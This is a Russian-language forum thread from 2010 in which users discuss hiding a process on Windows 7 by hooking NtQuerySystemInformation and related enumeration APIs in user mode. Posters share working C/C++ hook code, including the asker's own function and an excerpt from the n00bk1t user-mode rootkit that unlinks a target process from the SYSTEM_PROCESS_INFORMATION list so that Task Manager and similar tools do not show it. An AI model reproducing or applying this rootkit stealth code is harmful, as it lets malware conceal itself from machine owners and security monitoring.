Ностальгия по скрытию процессов RING3

Тема в разделе "WASM.WIN32", создана пользователем PavPS, 18 авг 2010.

  1. PavPS

    PavPS New Member

    Публикаций:
    0
    Регистрация:
    24 фев 2004
    Сообщения:
    109
    Адрес:
    Russia
    Здравствуйте, Уважаемые.

    Итак, тема не однократно здесь поднимающаяся, но прочитав их ничего конструктивного не нашел.
    Распишу задачу и решение.

    Рассмотрим 3 метода получения списка процессов (их несомненно больше)
    PS(psapi): EnumProcesses
    TH(toolhelp): CreateToolhelpSnapshot, Process32Next, First
    NT: NTQuerySystemInformation

    Как способ будем использовать сплайсинг функций в заголовке для EnumProcesses, Process32Next, Process32First, NTQuerySystemInformation (WHERE SystemInformation == 5)

    Вся работа производится на OS Windows7.

    Допустим есть тестовое приложение, где использованы 3 метода получения и скрытия процессов и используется так:
    Хучим PS, Затем вызываем чтение процессов PS - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ)
    Хучим TH, Затем вызываем чтение процессов TH - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ)
    Хучим NT, Затем вызываем чтение процессов NT - ВСЕ РАБОТАЕТ (ПРОЦЕССА НЕТ)
    Хучим NT, Затем вызываем чтение процессов TH - БРЕД

    Почему? Потому, что CreateToolhelpSnapshot, предшествующий Process32First, Process32Next внутри себя использует вызов к NTQuerySystemInformation . Ну и что тут такого, наоборот вроде хорошо, хучим одну функцию, а перекрывает она вызов других... Да не тут то было, CreateToolhelpSnapshot каким-то чудным образом использует не только недокументированные поля в SYSTEM_PROCESS_INFORMATION, но и память за этой структурой и лююбые игры по вырезанию куска (инфы о процессе) из возвращаемой структуры приводят к глюкам.

    Отсюда вытекают вопросы:
    1. Как всетаки наиболее надежно и грамотно скрыть процесс в RING3
    2. Как обойти описанную выше ситуацию.

    И вообще, в XP дела обстояли проще? Есть ли у кого утилиты, чтобы увидеть, что скрытие в ring3 - реально.
    ВАРИАНТЫ С ПЕРЕХВАТОМ ОКОН TASKMGR и прочих НЕ РАССМАТРИВАЮТСЯ.

    Спасибо.
     
  2. freyr

    freyr New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2010
    Сообщения:
    95
    1. rtfm
    2. rtfm
     
  3. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.250
    достаточно перехватить NtQuerySystemInformation, все функции так или иначе к ней спускаются... (или я не прав?)... что-то вы бред написали, поясните...

    есть такой "юзермодный руткит" - n00bk1t называется... посмотрите в его исходниках (искать на rootkit.com)...
     
  4. PavPS

    PavPS New Member

    Публикаций:
    0
    Регистрация:
    24 фев 2004
    Сообщения:
    109
    Адрес:
    Russia
    Да, согласен, скажем, перехватываю это функцию, заменяю ProcessId (к примеру в нужных местах) на INVALID_HANDLE_VALUE и все работает, в диспетчере задач -1, у руссиновича n/a, но вот стоит только выдрать из памяти блок, описывающий нужный мне процесс (перестроить массив SYSTEM_PROCESS_INFORMATION без этой структуры для нужного мне процесса), так сразу же диспетчер задач рисует кракозябры или падает. Естественно все смещение NExtEntryOffset ставлю правильно.
    Опыт 2: Перехватил функцию, получил Output от оригинальной и теперь уже не -1 ставлю в ProcessId, а делаю следующее:
    (напомню, расположение структур в памяти после работы NtQuerySystemInformation: [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)], [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)], [SYSTEM_PROCESS_INFORMATION (100-1000 bytes)].... т.е. NextEntryOffset не всегда == sizeof( SYSTEM_PROCESS_INFORMATION ))
    так вот, в этом опыте я просто заполняю нулями пространство от
    &SYSTEM_PROCESS_INFORMATION_1 + sizeof(SYSTEM_PROCESS_INFORMATION) до &SYSTEM_PROCESS_INFORMATION_1 + &SYSTEM_PROCESS_INFORMATION_1.NExtEntryOffset
    В этом случае диспетчер задач живет поживает нормально, но вместо имен процессов -пустые строки.

    Спасибо за ссылку на руткит.
     
  5. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.250
    вот вы опять бред пишите... какие ещё -1 и пустые строчки, зачем это? если вам нужно скрыть процесс, то поменяйте в предыдущей структуре NextEntryOffset, чтобы проходя по структурам парсер перепрыгивал тот процесс, который нужно скрыть (предыдущий->NextEntryOffset += тотчтоскрываем->NextEntryOffset;)... покажите ваш код, который считает эти смещения, вы где-то ошиблись...
     
  6. PavPS

    PavPS New Member

    Публикаций:
    0
    Регистрация:
    24 фев 2004
    Сообщения:
    109
    Адрес:
    Russia
    Код (Text):
    1. static BOOL __stdcall ZwQuerySystemInformationFake(
    2.     SYSTEM_INFORMATION_CLASS SystemInformationClass,
    3.     PVOID SystemInformation,
    4.     ULONG SystemInformationLength,
    5.     PULONG ReturnLength )
    6. {
    7.     auto PNtQuerySystemInformation = (TNtQuerySystemInformation)OriginalStub;
    8.     auto result = PNtQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );
    9.     if ( NT_SUCCESS( result ) )
    10.     {
    11.         if ( SystemInformationClass == SystemProcessInformation )
    12.         {
    13.             if ( SystemInformation )
    14.             {
    15.                 PVOID copy = malloc( SystemInformationLength );
    16.                 memmove( copy, SystemInformation, SystemInformationLength );
    17.  
    18.                 auto copy_spi = (SYSTEM_PROCESS_INFORMATION *)copy;
    19.                 auto orig_spi = (SYSTEM_PROCESS_INFORMATION *)SystemInformation;
    20.                 memset( orig_spi, 0, SystemInformationLength );
    21.  
    22.                 orig_spi->NextEntryOffset = 0;
    23.  
    24.                 do
    25.                 {
    26.                     std::wstring str( COMMON::GetProcessName( (DWORD)copy_spi->UniqueProcessId ) );
    27.                     bool bitter = str.find( COMMON::Bitter ) != str.npos;
    28.  
    29.                     if ( !bitter )
    30.                     {
    31.                         if ( orig_spi->NextEntryOffset )
    32.                             orig_spi = (SYSTEM_PROCESS_INFORMATION *)( (DWORD)orig_spi + orig_spi->NextEntryOffset );
    33.  
    34.                         size_t len = max( copy_spi->NextEntryOffset, sizeof(SYSTEM_PROCESS_INFORMATION) );
    35.                         memmove( orig_spi, copy_spi, len );
    36.  
    37.                         //if (bitter)
    38.                         //  orig_spi->UniqueProcessId = INVALID_HANDLE_VALUE;
    39.                     }
    40.  
    41.                     if ( ! copy_spi->NextEntryOffset )
    42.                         break;
    43.  
    44.                     copy_spi = (SYSTEM_PROCESS_INFORMATION *)( (DWORD)copy_spi + copy_spi->NextEntryOffset );
    45.                 }
    46.                 while ( true );
    47.  
    48.                 orig_spi->NextEntryOffset = 0;
    49.  
    50.                 free( copy );
    51.             }
    52.         }
    53.     }
    54.  
    55.     return result;
    56. }
     
  7. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.250
    пуффф... нда... зачем все это? какие-то буфферы дополнительные... ужас... будьте проще...
    если по вашему коду: вот вы копируете неспрятываемые записи из copy в orig... посмотрите, верно ли просчитываются смещения при этом?
     
  8. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.250
    вот адекватное решение из n00bk1t:
    Код (Text):
    1. if(SystemProcessInformation==SystemInformationClass)
    2.         {
    3.             // Processes
    4.  
    5.             int iChanged=0;
    6.             ANSI_STRING asProcessName;
    7.             struct _SYSTEM_PROCESS_INFORMATION *curr=(struct _SYSTEM_PROCESS_INFORMATION*)SystemInformation;
    8.             struct _SYSTEM_PROCESS_INFORMATION *prev=NULL;
    9.                            
    10.             while(curr)
    11.             {      
    12.                 RtlUnicodeStringToAnsiString(&asProcessName,&(curr->usName),TRUE);
    13.                 if((asProcessName.Length>0)&&(asProcessName.Length<255))
    14.                 {
    15.                     if (config_CheckString(ConfigHiddenProcess,asProcessName.Buffer,asProcessName.Length))
    16.                     {
    17.                         iChanged=1;
    18.  
    19.                         if(prev)
    20.                         {
    21.                             if(curr->dNext)
    22.                                 // make prev skip this entry
    23.                                 prev->dNext+=curr->dNext;
    24.                             else
    25.                                 // we are last, so make prev the end
    26.                                 prev->dNext=0;
    27.                         }
    28.                         else
    29.                         {
    30.                             if(curr->dNext)
    31.                                  // we are first in the list, so move it forward
    32.                                  (char *)SystemInformation+=curr->dNext;
    33.                             else
    34.                                  // we are the only process!
    35.                                  SystemInformation=NULL;
    36.                         }
    37.                     }
    38.                 }
    39.                 RtlFreeAnsiString(&asProcessName);
    40.                                
    41.                 if (iChanged==0)
    42.                     prev=curr;
    43.                 else iChanged=0;
    44.  
    45.                 if(curr->dNext)
    46.                     ((char *)curr+=curr->dNext);
    47.                 else curr=NULL;
    48.             }
    49.         }
    ничего лишнего, и прекрасно работает...
     
  9. PavPS

    PavPS New Member

    Публикаций:
    0
    Регистрация:
    24 фев 2004
    Сообщения:
    109
    Адрес:
    Russia
    Rel
    Спасибо, сегодня попробую, отпишусь.
     
  10. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    PavPS
    Надеюсь это последнее упоминание патчей, иначе вам сюда http://www.wasm.ru/forum/viewtopic.php?id=38110.
    Изучайте формат буфера.
    Сервис перехватить, если для получения процессов используются слепки.